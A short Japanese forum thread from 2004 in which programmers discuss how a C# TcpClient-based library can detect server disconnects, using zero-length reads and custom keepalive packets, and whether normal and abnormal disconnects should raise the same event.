495 名前:デフォルトの名無しさん mailto:sage [04/11/03 10:49:11] 鯖から非同期に送られてきたデータをバックグラウンドで取得し、イベントとして通知するようなライブラリ作ってます 1:TcpClient を使っているとき、サーバから切断されたことをすぐに知るにはどうすればいいか 2:異常切断されたときイベントなどで通知することを考えているが、 通常切断したときも同じイベントを発行したほうがライブラリを使う側にとって便利なのかどうか ちょっとアンケートがましいですが意見をお聞かせくださいm(_ _)m
496 名前:デフォルトの名無しさん mailto:sage [04/11/03 12:41:36] プログラム歴2ヶ月で答えると叩かれそうだが・・・ 1, byte[] byteAry = 受信データ; if ( byteAry.Length <= 0 ) { パイプカット } 2, ライブラリがエラーの処理をどこまでするかによるんじゃないでしょうか でしゃばってスマソ
497 名前:デフォルトの名無しさん mailto:sage [04/11/03 23:25:41] >495 1.物理的に切断を瞬間的に不可能。 TCPのキープアライブ使ってもいいが融通がきかん、自分でキープアライブパケット投げるようにしておけ。 2.同じイベントでも(・∀・)イイ!!が、通常なのか異常なのかわかるようにしておけ。エラー原因などもプログラムで扱えるよう定義してふんだんな情報を送っておけ 以上。